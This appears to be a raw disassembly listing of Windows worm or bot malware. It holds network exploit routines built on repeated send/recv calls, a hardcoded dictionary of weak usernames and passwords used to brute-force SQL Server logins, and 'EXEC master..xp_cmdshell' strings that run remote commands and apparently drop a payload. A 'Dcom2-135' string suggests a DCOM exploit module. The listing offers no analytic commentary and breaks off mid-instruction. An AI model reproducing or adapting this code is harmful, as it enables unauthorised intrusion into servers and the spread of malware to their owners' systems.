[ebp+var_EA4] lea eax, [ebp+var_46A0] push eax call sub_422B50 add esp, 0Ch lea eax, [ebp+var_4748] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_4748] push eax lea eax, [ebp+var_3F84] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+arg_C0] imul eax, 3Ch mov eax, dword_44AE58[eax] mov [ebp+var_3F94], eax loc_4119E8: ; CODE XREF: sub_4116B3+2BFj push 0E29h push 31h lea eax, [ebp+var_3F64] push eax call sub_421410 add esp, 0Ch push 0 movsx eax, [ebp+var_3F68] add eax, 4 push eax lea eax, [ebp+var_F0] push eax push [ebp+arg_BC] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_411A2A xor al, al jmp loc_411C6C ; --------------------------------------------------------------------------- loc_411A2A: ; CODE XREF: sub_4116B3+36Ej push 0 push 640h lea eax, [ebp+var_68E8] push eax push [ebp+arg_BC] call dword_4E1718 ; recv mov [ebp+var_474C], eax push 0 push 68h push offset dword_44AA8C push [ebp+arg_BC] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_411A6B xor al, al jmp loc_411C6C ; --------------------------------------------------------------------------- loc_411A6B: ; CODE XREF: sub_4116B3+3AFj push 0 push 640h lea eax, [ebp+var_68E8] push eax push [ebp+arg_BC] call dword_4E1718 ; recv mov [ebp+var_474C], eax push 0 push 0A0h push offset dword_44AAF8 push [ebp+arg_BC] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_411AAF xor al, al jmp loc_411C6C ; --------------------------------------------------------------------------- loc_411AAF: ; CODE XREF: sub_4116B3+3F3j push 0 push 640h lea eax, [ebp+var_68E8] push eax push [ebp+arg_BC] call dword_4E1718 ; recv mov [ebp+var_474C], eax cmp [ebp+arg_C0], 0 jz loc_411BC5 push 68h push offset dword_44ACB0 lea eax, [ebp+var_2F80] push eax call sub_422B50 add esp, 0Ch push 1B5Ah lea eax, [ebp+var_62A8] push eax lea eax, [ebp+var_2F18] push eax call sub_422B50 add esp, 0Ch push 70h push offset dword_44AD1C lea eax, [ebp+var_89C4] push eax call sub_422B50 add esp, 0Ch push 0A5Eh lea eax, [ebp+var_5214] push eax lea eax, [ebp+var_8954] push eax call sub_422B50 add esp, 0Ch push 84h push offset dword_44AD90 lea eax, [ebp+var_7E90] push eax call sub_422B50 add esp, 0Ch push 0 push 10FCh lea eax, [ebp+var_2F80] push eax push [ebp+arg_BC] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_411B7D xor al, al jmp loc_411C6C ; --------------------------------------------------------------------------- loc_411B7D: ; CODE XREF: sub_4116B3+4C1j push 0 push 640h lea eax, [ebp+var_68E8] push eax push [ebp+arg_BC] call dword_4E1718 ; recv mov [ebp+var_474C], eax push 0 push 0FDCh lea eax, [ebp+var_89C4] push eax push [ebp+arg_BC] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_411BC3 xor al, al jmp loc_411C6C ; --------------------------------------------------------------------------- loc_411BC3: ; CODE XREF: sub_4116B3+507j jmp short loc_411C39 ; --------------------------------------------------------------------------- loc_411BC5: ; CODE XREF: sub_4116B3+423j push 7Ch push offset dword_44AB9C lea eax, [ebp+var_3F64] push eax call sub_422B50 add esp, 0Ch push 7D0h lea eax, [ebp+var_4740] push eax lea eax, [ebp+var_3EE8] push eax call sub_422B50 add esp, 0Ch push 90h push offset off_44AC1C lea eax, [ebp+var_3718] push eax call sub_422B50 add esp, 0Ch and [ebp+var_326D], 0 push 0 push 0CF8h lea eax, [ebp+var_3F64] push eax push [ebp+arg_BC] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_411C39 xor al, al jmp short loc_411C6C ; --------------------------------------------------------------------------- loc_411C39: ; CODE XREF: sub_4116B3:loc_411BC3j ; sub_4116B3+580j push 12Ch nop call near ptr 27A0000h sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+arg_0] mov edi, esp rep movsd call sub_41152D add esp, 0BCh movzx eax, al test eax, eax jz short loc_411C6A mov al, 1 jmp short loc_411C6C ; --------------------------------------------------------------------------- loc_411C6A: ; CODE XREF: sub_4116B3+5B1j xor al, al loc_411C6C: ; CODE XREF: sub_4116B3+372j ; sub_4116B3+3B3j ... pop edi pop esi leave retn sub_4116B3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 864h push esi push edi mov dword ptr [ebp-860h], 0AD9Ch and dword ptr [ebp-85Ch], 0 push 10h push 0 lea eax, [ebp-14h] push eax call sub_421410 add esp, 0Ch mov word ptr [ebp-14h], 2 lea eax, [ebp+0Ch] push eax call dword_4E1740 ; inet_addr mov [ebp-10h], eax push dword ptr [ebp+0A8h] call dword_4E1700 ; ntohs mov [ebp-12h], ax push 6 push 1 push 2 call dword_4E1780 ; socket mov [ebp-4], eax cmp dword ptr [ebp-4], 0FFFFFFFFh jnz short loc_411CDB xor eax, eax jmp loc_411ECF ; --------------------------------------------------------------------------- loc_411CDB: ; CODE XREF: .XComp0:00411CD2j push 10h lea eax, [ebp-14h] push eax push dword ptr [ebp-4] call dword_4E16A8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_411CF6 xor eax, eax jmp loc_411ECF ; --------------------------------------------------------------------------- loc_411CF6: ; CODE XREF: .XComp0:00411CEDj push 0 push 89h push offset dword_44A810 push dword ptr [ebp-4] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_411D17 xor eax, eax jmp loc_411ECF ; --------------------------------------------------------------------------- loc_411D17: ; CODE XREF: .XComp0:00411D0Ej push 0 push 640h lea eax, [ebp-858h] push eax push dword ptr [ebp-4] call dword_4E1718 ; recv mov [ebp-218h], eax push 0 push 0A8h push offset dword_44A89C push dword ptr [ebp-4] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_411D55 xor eax, eax jmp loc_411ECF ; --------------------------------------------------------------------------- loc_411D55: ; CODE XREF: .XComp0:00411D4Cj push 0 push 640h lea eax, [ebp-858h] push eax push dword ptr [ebp-4] call dword_4E1718 ; recv mov [ebp-218h], eax push 0 push 0DEh push offset dword_44A948 push dword ptr [ebp-4] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_411D93 xor eax, eax jmp loc_411ECF ; --------------------------------------------------------------------------- loc_411D93: ; CODE XREF: .XComp0:00411D8Aj push 0 push 640h lea eax, [ebp-858h] push eax push dword ptr [ebp-4] call dword_4E1718 ; recv mov [ebp-218h], eax mov al, [ebp-814h] mov [ebp-864h], al cmp byte ptr [ebp-864h], 30h jz short loc_411E06 cmp byte ptr [ebp-864h], 31h jz short loc_411DD3 jmp loc_411E6C ; --------------------------------------------------------------------------- loc_411DD3: ; CODE XREF: .XComp0:00411DCCj push 0 push dword ptr [ebp-4] sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_4116B3 add esp, 0C4h movzx eax, al test eax, eax jz short loc_411E04 mov dword ptr [ebp-85Ch], 1 loc_411E04: ; CODE XREF: .XComp0:00411DF8j jmp short loc_411E70 ; --------------------------------------------------------------------------- loc_411E06: ; CODE XREF: .XComp0:00411DC3j push 2 push dword ptr [ebp-4] sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_4116B3 add esp, 0C4h movzx eax, al test eax, eax jnz short loc_411E60 push 1 push dword ptr [ebp-4] sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_4116B3 add esp, 0C4h movzx eax, al test eax, eax jz short loc_411E5E mov dword ptr [ebp-85Ch], 1 loc_411E5E: ; CODE XREF: .XComp0:00411E52j jmp short loc_411E6A ; --------------------------------------------------------------------------- loc_411E60: ; CODE XREF: .XComp0:00411E2Bj mov dword ptr [ebp-85Ch], 1 loc_411E6A: ; CODE XREF: .XComp0:loc_411E5Ej jmp short loc_411E70 ; --------------------------------------------------------------------------- loc_411E6C: ; CODE XREF: .XComp0:00411DCEj xor eax, eax jmp short loc_411ECF ; --------------------------------------------------------------------------- loc_411E70: ; CODE XREF: .XComp0:loc_411E04j ; .XComp0:loc_411E6Aj push dword ptr [ebp-4] call dword_4E1798 ; closesocket cmp dword ptr [ebp-85Ch], 0 jz short loc_411ECC push 0 push dword ptr [ebp+0B8h] lea eax, [ebp-214h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40B00F add esp, 14h lea eax, [ebp-214h] push eax call sub_4173DC pop ecx mov eax, [ebp+0B0h] shl eax, 6 mov eax, dword_448FF0[eax] inc eax mov ecx, [ebp+0B0h] shl ecx, 6 mov dword_448FF0[ecx], eax loc_411ECC: ; CODE XREF: .XComp0:00411E80j push 1 pop eax loc_411ECF: ; CODE XREF: .XComp0:00411CD6j ; .XComp0:00411CF1j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1064h call sub_421EE0 mov al, byte_4E4440 mov [ebp-81Ch], al mov dword ptr [ebp-0A2Ch], offset loc_44AFB4 mov dword ptr [ebp-0A28h], offset aRoot ; "root" mov dword ptr [ebp-0A24h], offset aAdmin ; "admin" and dword ptr [ebp-0A20h], 0 mov dword ptr [ebp-0C5Ch], offset dword_4E4444 mov dword ptr [ebp-0C58h], offset aAdministrator ; "administrator" mov dword ptr [ebp-0C54h], offset aAdministrador ; "administrador" mov dword ptr [ebp-0C50h], offset aAdministrateur ; "administrateur" mov dword ptr [ebp-0C4Ch], offset aAdministrat ; "administrat" mov dword ptr [ebp-0C48h], offset aAdmins ; "admins" mov dword ptr [ebp-0C44h], offset aAdmin_0 ; "admin" mov dword ptr [ebp-0C40h], offset aAdm ; "adm" mov dword ptr [ebp-0C3Ch], offset aPassword1 ; "password1" mov dword ptr [ebp-0C38h], offset aPassword ; "password" mov dword ptr [ebp-0C34h], offset aPasswd ; "passwd" mov dword ptr [ebp-0C30h], offset aPass1234 ; "pass1234" mov dword ptr [ebp-0C2Ch], offset aPass ; "pass" mov dword ptr [ebp-0C28h], offset aPwd ; "pwd" mov dword ptr [ebp-0C24h], offset a007 ; "007" mov dword ptr [ebp-0C20h], offset a1 ; "1" mov dword ptr [ebp-0C1Ch], offset a12 ; "12" mov dword ptr [ebp-0C18h], offset a123 ; "123" mov dword ptr [ebp-0C14h], offset a1234 ; "1234" mov dword ptr [ebp-0C10h], offset a12345 ; "12345" mov dword ptr [ebp-0C0Ch], offset a123456 ; "123456" mov dword ptr [ebp-0C08h], offset a1234567 ; "1234567" mov dword ptr [ebp-0C04h], offset a12345678 ; "12345678" mov dword ptr [ebp-0C00h], offset a123456789 ; "123456789" mov dword ptr [ebp-0BFCh], offset a1234567890 ; "1234567890" mov dword ptr [ebp-0BF8h], offset a2000 ; "2000" mov dword ptr [ebp-0BF4h], offset a2001 ; "2001" mov dword ptr [ebp-0BF0h], offset a2002 ; "2002" mov dword ptr [ebp-0BECh], offset a2003 ; "2003" mov dword ptr [ebp-0BE8h], offset a2004 ; "2004" mov dword ptr [ebp-0BE4h], offset aTest ; "test" mov dword ptr [ebp-0BE0h], offset aGuest ; "guest" mov dword ptr [ebp-0BDCh], offset aNone ; "none" mov dword ptr [ebp-0BD8h], offset aDemo ; "demo" mov dword ptr [ebp-0BD4h], offset aUnix ; "unix" mov dword ptr [ebp-0BD0h], offset aLinux ; "linux" mov dword ptr [ebp-0BCCh], offset aChangeme ; "changeme" mov dword ptr [ebp-0BC8h], offset aDefault ; "default" mov dword ptr [ebp-0BC4h], offset aSystem ; "system" mov dword ptr [ebp-0BC0h], offset aServer_0 ; "server" mov dword ptr [ebp-0BBCh], offset aRoot_0 ; "root" mov dword ptr [ebp-0BB8h], offset aNull ; "null" mov dword ptr [ebp-0BB4h], offset aQwerty ; "qwerty" mov dword ptr [ebp-0BB0h], offset aMail ; "mail" mov dword ptr [ebp-0BACh], offset aOutlook ; "outlook" mov dword ptr [ebp-0BA8h], offset aWeb ; "web" mov dword ptr [ebp-0BA4h], offset aWww ; "www" mov dword ptr [ebp-0BA0h], offset aInternet ; "internet" mov dword ptr [ebp-0B9Ch], offset aAccounts ; "accounts" mov dword ptr [ebp-0B98h], offset aAccounting ; "accounting" mov dword ptr [ebp-0B94h], offset aHome ; "home" mov dword ptr [ebp-0B90h], offset aHomeuser ; "homeuser" mov dword ptr [ebp-0B8Ch], offset aUser_0 ; "user" mov dword ptr [ebp-0B88h], offset aOem ; "oem" mov dword ptr [ebp-0B84h], offset aOemuser ; "oemuser" mov dword ptr [ebp-0B80h], offset aOeminstall ; "oeminstall" mov dword ptr [ebp-0B7Ch], offset aWindows ; "windows" mov dword ptr [ebp-0B78h], offset aWin98 ; "win98" mov dword ptr [ebp-0B74h], offset aWin2k ; "win2k" mov dword ptr [ebp-0B70h], offset aWinxp ; "winxp" mov dword ptr [ebp-0B6Ch], offset aWinnt ; "winnt" mov dword ptr [ebp-0B68h], offset aWin2000 ; "win2000" mov dword ptr [ebp-0B64h], offset aQaz ; "qaz" mov dword ptr [ebp-0B60h], offset aAsd ; "asd" mov dword ptr [ebp-0B5Ch], offset aZxc ; "zxc" mov dword ptr [ebp-0B58h], offset aQwe ; "qwe" mov dword ptr [ebp-0B54h], offset aBob ; "bob" mov dword ptr [ebp-0B50h], offset aJen ; "jen" mov dword ptr [ebp-0B4Ch], offset aJoe ; "joe" mov dword ptr [ebp-0B48h], offset aFred ; "fred" mov dword ptr [ebp-0B44h], offset aBill ; "bill" mov dword ptr [ebp-0B40h], offset aMike ; "mike" mov dword ptr [ebp-0B3Ch], offset aJohn ; "john" mov dword ptr [ebp-0B38h], offset aPeter ; "peter" mov dword ptr [ebp-0B34h], offset aLuke ; "luke" mov dword ptr [ebp-0B30h], offset aSam ; "sam" mov dword ptr [ebp-0B2Ch], offset aSue ; "sue" mov dword ptr [ebp-0B28h], offset aSusan ; "susan" mov dword ptr [ebp-0B24h], offset aPeter_0 ; "peter" mov dword ptr [ebp-0B20h], offset aBrian ; "brian" mov dword ptr [ebp-0B1Ch], offset aLee ; "lee" mov dword ptr [ebp-0B18h], offset aNeil ; "neil" mov dword ptr [ebp-0B14h], offset aIan ; "ian" mov dword ptr [ebp-0B10h], offset aChris ; "chris" mov dword ptr [ebp-0B0Ch], offset aEric ; "eric" mov dword ptr [ebp-0B08h], offset aGeorge ; "george" mov dword ptr [ebp-0B04h], offset aKate ; "kate" mov dword ptr [ebp-0B00h], offset aBob_0 ; "bob" mov dword ptr [ebp-0AFCh], offset aKatie ; "katie" mov dword ptr [ebp-0AF8h], offset aMary ; "mary" mov dword ptr [ebp-0AF4h], offset aLogin_0 ; "login" mov dword ptr [ebp-0AF0h], offset aLoginpass ; "loginpass" mov dword ptr [ebp-0AECh], offset aTechnical ; "technical" mov dword ptr [ebp-0AE8h], offset aBackup ; "backup" mov dword ptr [ebp-0AE4h], offset aExchange ; "exchange" mov dword ptr [ebp-0AE0h], offset aFuck ; "fuck" mov dword ptr [ebp-0ADCh], offset aBitch ; "bitch" mov dword ptr [ebp-0AD8h], offset aSlut ; "slut" mov dword ptr [ebp-0AD4h], offset aSex ; "sex" mov dword ptr [ebp-0AD0h], offset aGod ; "god" mov dword ptr [ebp-0ACCh], offset aHell ; "hell" mov dword ptr [ebp-0AC8h], offset aHello ; "hello" mov dword ptr [ebp-0AC4h], offset aDomain ; "domain" mov dword ptr [ebp-0AC0h], offset aDomainpass ; "domainpass" mov dword ptr [ebp-0ABCh], offset aDomainpassword ; "domainpassword" mov dword ptr [ebp-0AB8h], offset aDatabase ; "database" mov dword ptr [ebp-0AB4h], offset aAccess ; "access" mov dword ptr [ebp-0AB0h], offset aDbpass ; "dbpass" mov dword ptr [ebp-0AACh], offset aDbpassword ; "dbpassword" mov dword ptr [ebp-0AA8h], offset aDatabasepass ; "databasepass" mov dword ptr [ebp-0AA4h], offset aData ; "data" mov dword ptr [ebp-0AA0h], offset aDatabasepasswo ; "databasepassword" mov dword ptr [ebp-0A9Ch], offset aDb1 ; "db1" mov dword ptr [ebp-0A98h], offset aDb2 ; "db2" mov dword ptr [ebp-0A94h], offset aDb1234 ; "db1234" mov dword ptr [ebp-0A90h], offset aSa ; "sa" mov dword ptr [ebp-0A8Ch], offset aSql ; "sql" mov dword ptr [ebp-0A88h], offset aSqlpassoainsta ; "sqlpassoainstall" mov dword ptr [ebp-0A84h], offset aOrainstall ; "orainstall" mov dword ptr [ebp-0A80h], offset aOracle ; "oracle" mov dword ptr [ebp-0A7Ch], offset aIbm ; "ibm" mov dword ptr [ebp-0A78h], offset aCisco ; "cisco" mov dword ptr [ebp-0A74h], offset aDell ; "dell" mov dword ptr [ebp-0A70h], offset aCompaq ; "compaq" mov dword ptr [ebp-0A6Ch], offset aSiemens ; "siemens" mov dword ptr [ebp-0A68h], offset aHp ; "hp" mov dword ptr [ebp-0A64h], offset aNokia ; "nokia" mov dword ptr [ebp-0A60h], offset aXp ; "xp" mov dword ptr [ebp-0A5Ch], offset aControl ; "control" mov dword ptr [ebp-0A58h], offset aOffice ; "office" mov dword ptr [ebp-0A54h], offset aBlank ; "blank" mov dword ptr [ebp-0A50h], offset aWinpass ; "winpass" mov dword ptr [ebp-0A4Ch], offset aMain ; "main" mov dword ptr [ebp-0A48h], offset aLan ; "lan" mov dword ptr [ebp-0A44h], offset aInternet_0 ; "internet" mov dword ptr [ebp-0A40h], offset aIntranet ; "intranet" mov dword ptr [ebp-0A3Ch], offset aStudent ; "student" mov dword ptr [ebp-0A38h], offset aTeacher ; "teacher" mov dword ptr [ebp-0A34h], offset aStaff ; "staff" and dword ptr [ebp-0A30h], 0 and dword ptr [ebp-404h], 0 and dword ptr [ebp-80Ch], 0 and dword ptr [ebp-408h], 0 lea eax, [ebp-818h] push eax push 0 push 1 call dword_4E167C movsx eax, ax test eax, eax jz short loc_4124BD mov eax, [ebp-404h] jmp locret_4127D9 ; --------------------------------------------------------------------------- loc_4124BD: ; CODE XREF: .XComp0:004124B0j push 0FFFFFFFAh push 3 push 0C8h push dword ptr [ebp-818h] call dword_4E1788 movsx eax, ax test eax, eax jz short loc_4124E4 mov eax, [ebp-404h] jmp locret_4127D9 ; --------------------------------------------------------------------------- loc_4124E4: ; CODE XREF: .XComp0:004124D7j lea eax, [ebp-80Ch] push eax push dword ptr [ebp-818h] push 2 call dword_4E167C movsx eax, ax test eax, eax jz short loc_412519 push dword ptr [ebp-818h] push 1 call dword_4E171C mov eax, [ebp-404h] jmp locret_4127D9 ; --------------------------------------------------------------------------- loc_412519: ; CODE XREF: .XComp0:004124FEj and dword ptr [ebp-814h], 0 jmp short loc_41252F ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: .XComp0:loc_4127B2j mov eax, [ebp-814h] inc eax mov [ebp-814h], eax loc_41252F: ; CODE XREF: .XComp0:00412520j mov eax, [ebp-814h] cmp dword ptr [ebp+eax*4-0A2Ch], 0 jz loc_4127B7 and dword ptr [ebp-1060h], 0 jmp short loc_412559 ; --------------------------------------------------------------------------- loc_41254C: ; CODE XREF: .XComp0:004127A2j mov eax, [ebp-1060h] inc eax mov [ebp-1060h], eax loc_412559: ; CODE XREF: .XComp0:0041254Aj mov eax, [ebp-1060h] cmp dword ptr [ebp+eax*4-0C5Ch], 0 jz loc_4127A7 lea eax, [ebp-81Ch] push eax mov eax, [ebp-1060h] push dword ptr [ebp+eax*4-0C5Ch] mov eax, [ebp-814h] push dword ptr [ebp+eax*4-0A2Ch] push dword ptr [ebp+0A8h] lea eax, [ebp+0Ch] push eax push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... lea eax, [ebp-105Ch] push eax call sub_4219C0 add esp, 1Ch push 0 lea eax, [ebp-810h] push eax push 400h lea eax, [ebp-400h] push eax lea eax, [ebp-105Ch] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp-105Ch] push eax push 0 push dword ptr [ebp-80Ch] call dword_4E173C mov [ebp-1064h], ax movsx eax, word ptr [ebp-1064h] test eax, eax jz short loc_412606 movsx eax, word ptr [ebp-1064h] cmp eax, 1 jnz loc_412797 loc_412606: ; CODE XREF: .XComp0:004125F4j lea eax, [ebp-408h] push eax push dword ptr [ebp-80Ch] push 3 call dword_4E167C push offset byte_4410E8 push offset byte_4410E8 call sub_421AD0 push eax call sub_421AD0 push eax push dword_4E1418 push dword ptr [ebp+8] call sub_40C86E pop ecx push eax push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"... lea eax, [ebp-808h] push eax call sub_4219C0 add esp, 20h push 0FFFFFFFDh lea eax, [ebp-808h] push eax push dword ptr [ebp-408h] call dword_4E16C4 movsx eax, ax test eax, eax jz loc_412787 push 1388h call near ptr 27A0000h nop push offset byte_4410E8 push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'" lea eax, [ebp-808h] push eax call sub_4219C0 add esp, 0Ch lea eax, [ebp+0Ch] push eax push offset dword_44B518 lea eax, [ebp-0A1Ch] push eax call sub_4219C0 add esp, 0Ch push 0FFFFFFFDh lea eax, [ebp-808h] push eax push dword ptr [ebp-408h] call dword_4E16C4 movsx eax, ax test eax, eax jnz loc_41277C mov dword ptr [ebp-404h], 1 mov eax, [ebp-1060h] push dword ptr [ebp+eax*4-0C5Ch] mov eax, [ebp-814h] push dword ptr [ebp+eax*4-0A2Ch] push dword ptr [ebp+0A8h] lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aDcom2135_0 ; "Dcom2-135" push eax push offset unk_44B534 push 200h lea eax, [ebp-0A1Ch] push eax call sub_421B90 add esp, 20h cmp dword ptr [ebp+0BCh], 0 jnz short loc_41274E push 0 push dword ptr [ebp+0B8h] lea eax, [ebp-0A1Ch] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40B00F add esp, 14h loc_41274E: ; CODE XREF: .XComp0:0041272Ej lea eax, [ebp-0A1Ch] push eax call sub_4173DC pop ecx mov eax, [ebp+0B0h] shl eax, 6 mov eax, dword_448FF0[eax] inc eax mov ecx, [ebp+0B0h] shl ecx, 6 mov dword_448FF0[ecx], eax jmp short loc_4127A7 ; --------------------------------------------------------------------------- loc_41277C: ; CODE XREF: .XComp0:004126CBj push 1388h nop call near ptr 27A0000h loc_412787: ; CODE XREF: .XComp0:0041266Fj push dword ptr [ebp-408h] push 3 call dword_4E171C jmp short loc_4127A7 ; --------------------------------------------------------------------------- loc_412797: ; CODE XREF: .XComp0:00412600j push 1F4h call near ptr 27A0000h nop jmp loc_41254C ; --------------------------------------------------------------------------- loc_4127A7: ; CODE XREF: .XComp0:00412567j ; .XComp0:0041277Aj ... cmp dword ptr [ebp-404h], 1 jnz short loc_4127B2 jmp short loc_4127B7 ; --------------------------------------------------------------------------- loc_4127B2: ; CODE XREF: .XComp0:004127AEj jmp loc_412522 ; --------------------------------------------------------------------------- loc_4127B7: ; CODE XREF: .XComp0:0041253Dj ; .XComp0:004127B0j push dword ptr [ebp-80Ch] push 2 call dword_4E171C push dword ptr [ebp-818h] push 1 call dword_4E171C mov eax, [ebp-404h] locret_4127D9: ; CODE XREF: .XComp0:004124B8j ; .XComp0:004124DFj ... leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127DB proc near ; CODE XREF: .XComp0:00412923p ; .XComp0:004129DCp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 loc_4127E4: ; CODE XREF: sub_4127DB+49j cmp [ebp+arg_8], 0 jle short loc_412826 push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] add eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_4E1718 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41280E cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_412812 loc_41280E: ; CODE XREF: sub_4127DB+2Bj xor eax, eax jmp short locret_412829 ; --------------------------------------------------------------------------- loc_412812: ; CODE XREF: sub_4127DB+31j mov eax, [ebp+arg_8] sub eax, [ebp+var_8] mov [ebp+arg_8], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_4127E4 ; --------------------------------------------------------------------------- loc_412826: ; CODE XREF: sub_4127DB+Dj push 1 pop eax locret_412829: ; CODE XREF: sub_4127DB+35j leave retn sub_4127DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41282B proc near ; CODE XREF: .XComp0:004129B1p ; .XComp0:00412A07p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_8], 0 jnz short loc_41283A xor eax, eax jmp short locret_412880 ; --------------------------------------------------------------------------- loc_41283A: ; CODE XREF: sub_41282B+9j and [ebp+var_4], 0 loc_41283E: ; CODE XREF: sub_41282B+50j mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jge short loc_41287D push 0 mov eax, [ebp+arg_8] sub eax, [ebp+var_4] push eax mov eax, [ebp+arg_4] add eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_4E1750 ; send mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jz short loc_41286E cmp [ebp+var_8], 0 jnz short loc_412872 loc_41286E: ; CODE XREF: sub_41282B+3Bj xor eax, eax jmp short locret_412880 ; --------------------------------------------------------------------------- loc_412872: ; CODE XREF: sub_41282B+41j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax jmp short loc_41283E ; --------------------------------------------------------------------------- loc_41287D: ; CODE XREF: sub_41282B+19j push 1 pop eax locret_412880: ; CODE XREF: sub_41282B+Dj ; sub_41282B+45j leave retn sub_41282B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 260h mov ax, word_44B564 mov [ebp-18h], ax push 0 push 1 push 2 call dword_4E1780 ; socket mov [ebp-23Ch], eax cmp dword ptr [ebp-23Ch], 0FFFFFFFFh jnz short loc_4128C3 push dword ptr [ebp-23Ch] call dword_4E1798 ; closesocket xor eax, eax jmp locret_412CC1 ; --------------------------------------------------------------------------- loc_4128C3: ; CODE XREF: .XComp0:004128AEj lea eax, [ebp+0Ch] push eax call dword_4E1740 ; inet_addr mov [ebp-10h], eax mov word ptr [ebp-14h], 2 push dword ptr [ebp+0A8h] call dword_4E1700 ; ntohs mov [ebp-12h], ax push 10h lea eax, [ebp-14h] push eax push dword ptr [ebp-23Ch] call dword_4E16A8 ; connect mov [ebp-1Ch], eax cmp dword ptr [ebp-1Ch], 0FFFFFFFFh jnz short loc_412914 push dword ptr [ebp-23Ch] call dword_4E1798 ; closesocket xor eax, eax jmp locret_412CC1 ; --------------------------------------------------------------------------- loc_412914: ; CODE XREF: .XComp0:004128FFj push 0Ch lea eax, [ebp-230h] push eax push dword ptr [ebp-23Ch] call sub_4127DB add esp, 0Ch test eax, eax jnz short loc_412942 push dword ptr [ebp-23Ch] nop call near ptr 71AB9639h xor eax, eax jmp locret_412CC1 ; --------------------------------------------------------------------------- loc_412942: ; CODE XREF: .XComp0:0041292Dj and byte ptr [ebp-224h], 0 lea eax, [ebp-20h] push eax lea eax, [ebp-234h] push eax push offset dword_44B568 lea eax, [ebp-230h] push eax call sub_422E90 add esp, 10h cmp eax, 2 jz short loc_412980 push dword ptr [ebp-23Ch] call near ptr 71AB9639h nop xor eax, eax jmp locret_412CC1 ; --------------------------------------------------------------------------- loc_412980: ; CODE XREF: .XComp0:0041296Bj cmp dword ptr [ebp-234h], 3 jz short loc_4129A2 cmp dword ptr [ebp-20h], 8 jz short loc_4129A2 push dword ptr [ebp-23Ch] call near ptr 71AB9639h nop xor eax, eax jmp locret_412CC1 ; --------------------------------------------------------------------------- loc_4129A2: ; CODE XREF: .XComp0:00412987j ; .XComp0:0041298Dj push 0Ch lea eax, [ebp-230h] push eax push dword ptr [ebp-23Ch] call sub_41282B add esp, 0Ch test eax, eax jnz short loc_4129D0 push dword ptr [ebp-23Ch] nop call near ptr 71AB9639h xor eax, eax jmp locret_412CC1 ; --------------------------------------------------------------------------- loc_4129D0: ; CODE XREF: .XComp0:004129BBj push 2 lea eax, [ebp-4] push eax push dword ptr [ebp-23Ch] call sub_4127DB add esp, 0Ch test eax, eax jnz short loc_4129FB push dword ptr [ebp-23Ch] nop call near ptr 71AB9639h xor eax, eax jmp locret_412CC1 ; --------------------------------------------------------------------------- loc_4129FB: ; CODE XREF: .XComp0:004129E6j push 1 lea eax, [ebp-18h] push eax push dword ptr [ebp-23Ch] call sub_41282B add esp, 0Ch test eax, eax jnz short loc_412A26 push dword ptr [ebp-23Ch] call near ptr 71AB9639h nop xor eax, eax jmp locret_412CC1 ; --------------------------------------------------------------------------- loc_412A26: ; CODE XREF: .XComp0:00412A11j push 4 lea eax, [ebp-238h] push eax push dword ptr [ebp-23Ch] call sub_4127DB add esp, 0Ch test eax, eax jz loc_412CB3 mov eax, [ebp-238h] and eax, 0FF000000h shr eax, 18h mov ecx, [ebp-238h] and ecx, 0FF0000h shr ecx, 8 or eax, ecx mov ecx, [ebp-238h] and ecx, 0FF00h shl ecx, 8 or eax, ecx mov ecx, [ebp-238h] and ecx, 0FFh shl ecx, 18h or eax, ecx mov [ebp-238h], eax mov eax, [ebp-238h] mov [ebp-260h], eax cmp dword ptr [ebp-260h], 0 jz short loc_412AA6 jmp loc_412CB3 ; --------------------------------------------------------------------------- loc_412AA6: ; CODE XREF: .XComp0:00412A9Fj push 1 push offset dword_4E444C push dword ptr [ebp-23Ch] call sub_41282B add esp, 0Ch test eax, eax jz loc_412CB3 push 18h lea 